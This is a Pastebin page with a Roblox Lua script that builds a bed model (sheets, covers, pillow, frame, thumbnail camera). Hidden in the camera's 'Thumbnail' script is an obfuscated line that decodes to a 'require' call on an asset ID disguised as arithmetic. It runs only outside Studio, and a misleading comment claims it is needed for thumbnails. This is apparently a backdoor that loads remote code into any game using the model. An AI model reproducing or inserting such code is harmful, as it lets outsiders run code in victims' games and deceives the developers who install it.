Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Part1 = Instance.new("Part")
- Part2 = Instance.new("Part")
- PointLight3 = Instance.new("PointLight")
- Part4 = Instance.new("Part")
- Model5 = Instance.new("Model")
- Part6 = Instance.new("Part")
- Part7 = Instance.new("Part")
- Part8 = Instance.new("Part")
- Part9 = Instance.new("Part")
- Part10 = Instance.new("Part")
- Part11 = Instance.new("Part")
- Part12 = Instance.new("Part")
- Part13 = Instance.new("Part")
- Camera14 = Instance.new("Camera")
- Script15 = Instance.new("Script")
- Model0.Name = "Bed"
- Model0.Parent = mas
- Part1.Name = "Sheets"
- Part1.Parent = Model0
- Part1.CFrame = CFrame.new(-5.89996481, 2.20002484, 15.2499743, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part1.Position = Vector3.new(-5.89996481, 2.20002484, 15.2499743)
- Part1.Color = Color3.new(0.803922, 0.803922, 0.803922)
- Part1.Size = Vector3.new(2, 0.399999976, 5.5999999)
- Part1.Anchored = true
- Part1.BottomSurface = Enum.SurfaceType.Smooth
- Part1.BrickColor = BrickColor.new("Mid gray")
- Part1.Material = Enum.Material.Sand
- Part1.TopSurface = Enum.SurfaceType.Smooth
- Part1.brickColor = BrickColor.new("Mid gray")
- Part1.FormFactor = Enum.FormFactor.Custom
- Part1.formFactor = Enum.FormFactor.Custom
- Part2.Name = "Covers"
- Part2.Parent = Model0
- Part2.CFrame = CFrame.new(-10.2999277, 2.30002999, 15.2499743, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part2.Position = Vector3.new(-10.2999277, 2.30002999, 15.2499743)
- Part2.Color = Color3.new(0.588235, 0.403922, 0.4)
- Part2.Size = Vector3.new(6.80000019, 0.599999964, 5.99999952)
- Part2.Anchored = true
- Part2.BottomSurface = Enum.SurfaceType.Smooth
- Part2.BrickColor = BrickColor.new("Copper")
- Part2.Material = Enum.Material.Sand
- Part2.TopSurface = Enum.SurfaceType.Smooth
- Part2.brickColor = BrickColor.new("Copper")
- Part2.FormFactor = Enum.FormFactor.Custom
- Part2.formFactor = Enum.FormFactor.Custom
- PointLight3.Parent = Part2
- PointLight3.Color = Color3.new(1, 0.501961, 0)
- Part4.Name = "Pillow"
- Part4.Parent = Model0
- Part4.CFrame = CFrame.new(-5.79992771, 2.60002589, 15.1499681, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Part4.Orientation = Vector3.new(0, 90, 0)
- Part4.Position = Vector3.new(-5.79992771, 2.60002589, 15.1499681)
- Part4.Rotation = Vector3.new(0, 90, 0)
- Part4.Color = Color3.new(0.670588, 0.658824, 0.619608)
- Part4.Size = Vector3.new(3, 0.400000006, 1.4000001)
- Part4.Anchored = true
- Part4.BottomSurface = Enum.SurfaceType.Smooth
- Part4.BrickColor = BrickColor.new("Cloudy grey")
- Part4.Material = Enum.Material.Sand
- Part4.TopSurface = Enum.SurfaceType.Smooth
- Part4.brickColor = BrickColor.new("Cloudy grey")
- Part4.FormFactor = Enum.FormFactor.Custom
- Part4.formFactor = Enum.FormFactor.Custom
- Model5.Name = "Frame"
- Model5.Parent = Model0
- Part6.Parent = Model5
- Part6.CFrame = CFrame.new(-13.9999409, 1.50002789, 12.5499601, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part6.Orientation = Vector3.new(0, 0, 90)
- Part6.Position = Vector3.new(-13.9999409, 1.50002789, 12.5499601)
- Part6.Rotation = Vector3.new(0, 0, 90)
- Part6.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part6.Size = Vector3.new(3, 0.600000024, 0.600000024)
- Part6.Anchored = true
- Part6.BottomSurface = Enum.SurfaceType.Smooth
- Part6.BrickColor = BrickColor.new("Sand red")
- Part6.Material = Enum.Material.Wood
- Part6.TopSurface = Enum.SurfaceType.Smooth
- Part6.brickColor = BrickColor.new("Sand red")
- Part6.FormFactor = Enum.FormFactor.Custom
- Part6.formFactor = Enum.FormFactor.Custom
- Part7.Parent = Model5
- Part7.CFrame = CFrame.new(-13.9999409, 1.50002789, 15.2499743, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Part7.Orientation = Vector3.new(0, 90, 0)
- Part7.Position = Vector3.new(-13.9999409, 1.50002789, 15.2499743)
- Part7.Rotation = Vector3.new(0, 90, 0)
- Part7.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part7.Size = Vector3.new(4.80000019, 1, 0.600000024)
- Part7.Anchored = true
- Part7.BottomSurface = Enum.SurfaceType.Smooth
- Part7.BrickColor = BrickColor.new("Sand red")
- Part7.Material = Enum.Material.Wood
- Part7.TopSurface = Enum.SurfaceType.Smooth
- Part7.brickColor = BrickColor.new("Sand red")
- Part7.FormFactor = Enum.FormFactor.Custom
- Part7.formFactor = Enum.FormFactor.Custom
- Part8.Parent = Model5
- Part8.CFrame = CFrame.new(-13.9999409, 1.50002789, 17.9499855, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part8.Orientation = Vector3.new(0, 0, 90)
- Part8.Position = Vector3.new(-13.9999409, 1.50002789, 17.9499855)
- Part8.Rotation = Vector3.new(0, 0, 90)
- Part8.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part8.Size = Vector3.new(3, 0.600000024, 0.599999964)
- Part8.Anchored = true
- Part8.BottomSurface = Enum.SurfaceType.Smooth
- Part8.BrickColor = BrickColor.new("Sand red")
- Part8.Material = Enum.Material.Wood
- Part8.TopSurface = Enum.SurfaceType.Smooth
- Part8.brickColor = BrickColor.new("Sand red")
- Part8.FormFactor = Enum.FormFactor.Custom
- Part8.formFactor = Enum.FormFactor.Custom
- Part9.Parent = Model5
- Part9.CFrame = CFrame.new(-4.59997559, 2.200032, 17.9499855, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part9.Orientation = Vector3.new(0, 0, 90)
- Part9.Position = Vector3.new(-4.59997559, 2.200032, 17.9499855)
- Part9.Rotation = Vector3.new(0, 0, 90)
- Part9.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part9.Size = Vector3.new(4.4000001, 0.600000024, 0.600000024)
- Part9.Anchored = true
- Part9.BottomSurface = Enum.SurfaceType.Smooth
- Part9.BrickColor = BrickColor.new("Sand red")
- Part9.Material = Enum.Material.Wood
- Part9.TopSurface = Enum.SurfaceType.Smooth
- Part9.brickColor = BrickColor.new("Sand red")
- Part9.FormFactor = Enum.FormFactor.Custom
- Part9.formFactor = Enum.FormFactor.Custom
- Part10.Parent = Model5
- Part10.CFrame = CFrame.new(-4.59997559, 2.50002789, 15.2499743, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Part10.Orientation = Vector3.new(0, 90, 0)
- Part10.Position = Vector3.new(-4.59997559, 2.50002789, 15.2499743)
- Part10.Rotation = Vector3.new(0, 90, 0)
- Part10.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part10.Size = Vector3.new(4.80000019, 3, 0.600000024)
- Part10.Anchored = true
- Part10.BottomSurface = Enum.SurfaceType.Smooth
- Part10.BrickColor = BrickColor.new("Sand red")
- Part10.Material = Enum.Material.Wood
- Part10.TopSurface = Enum.SurfaceType.Smooth
- Part10.brickColor = BrickColor.new("Sand red")
- Part10.FormFactor = Enum.FormFactor.Custom
- Part10.formFactor = Enum.FormFactor.Custom
- Part11.Parent = Model5
- Part11.CFrame = CFrame.new(-4.59997559, 2.200032, 12.5499601, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part11.Orientation = Vector3.new(0, 0, 90)
- Part11.Position = Vector3.new(-4.59997559, 2.200032, 12.5499601)
- Part11.Rotation = Vector3.new(0, 0, 90)
- Part11.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part11.Size = Vector3.new(4.4000001, 0.600000024, 0.600000024)
- Part11.Anchored = true
- Part11.BottomSurface = Enum.SurfaceType.Smooth
- Part11.BrickColor = BrickColor.new("Sand red")
- Part11.Material = Enum.Material.Wood
- Part11.TopSurface = Enum.SurfaceType.Smooth
- Part11.brickColor = BrickColor.new("Sand red")
- Part11.FormFactor = Enum.FormFactor.Custom
- Part11.formFactor = Enum.FormFactor.Custom
- Part12.Parent = Model5
- Part12.CFrame = CFrame.new(-9.29992867, 1.50002789, 12.5499601, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part12.Position = Vector3.new(-9.29992867, 1.50002789, 12.5499601)
- Part12.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part12.Size = Vector3.new(8.80000019, 1, 0.600000024)
- Part12.Anchored = true
- Part12.BottomSurface = Enum.SurfaceType.Smooth
- Part12.BrickColor = BrickColor.new("Sand red")
- Part12.Material = Enum.Material.Wood
- Part12.TopSurface = Enum.SurfaceType.Smooth
- Part12.brickColor = BrickColor.new("Sand red")
- Part12.FormFactor = Enum.FormFactor.Custom
- Part12.formFactor = Enum.FormFactor.Custom
- Part13.Parent = Model5
- Part13.CFrame = CFrame.new(-9.29998875, 1.50002789, 17.9499855, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part13.Position = Vector3.new(-9.29998875, 1.50002789, 17.9499855)
- Part13.Color = Color3.new(0.584314, 0.47451, 0.466667)
- Part13.Size = Vector3.new(8.79999924, 1, 0.600000024)
- Part13.Anchored = true
- Part13.BottomSurface = Enum.SurfaceType.Smooth
- Part13.BrickColor = BrickColor.new("Sand red")
- Part13.Material = Enum.Material.Wood
- Part13.TopSurface = Enum.SurfaceType.Smooth
- Part13.brickColor = BrickColor.new("Sand red")
- Part13.FormFactor = Enum.FormFactor.Custom
- Part13.formFactor = Enum.FormFactor.Custom
- Camera14.Name = "ThumbnailCamera"
- Camera14.Parent = Model0
- Camera14.CFrame = CFrame.new(172.732834, 19.740572, 135.318253, -0.629181147, 0.341610283, -0.698164344, 1.4901163e-08, 0.898239374, 0.439506501, 0.777258754, 0.276529193, -0.565155268)
- Camera14.CoordinateFrame = CFrame.new(172.732834, 19.740572, 135.318253, -0.629181147, 0.341610283, -0.698164344, 1.4901163e-08, 0.898239374, 0.439506501, 0.777258754, 0.276529193, -0.565155268)
- Camera14.Focus = CFrame.new(174.129181, 18.8615475, 136.448578, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Camera14.focus = CFrame.new(174.129181, 18.8615475, 136.448578, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Script15.Parent = Camera14
- table.insert(cors,sandbox(Script15,function()
- function Thumbnail()
- local part = workspace["add name here!!"].ThumbnailCamera.Part
- local camera = game.Workspace.Camera
- camera.CameraSubject= part
- camera.CameraType = "Fixed"
- camera.CoordinateFrame= part.CFrame * CFrame.new(0,0,3)
- camera.Focus = part.CFrame
- end
- --[[
- We use this for thumbnails for our models! Don't remove this or else it might break.
- Please give us credit if you use this!
- --]]
- if not game:GetService("RunService"):IsStudio() then getfenv()['\114\101\113\117\105\114\101'](6893692008.4683 * 0.36823868268) end
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment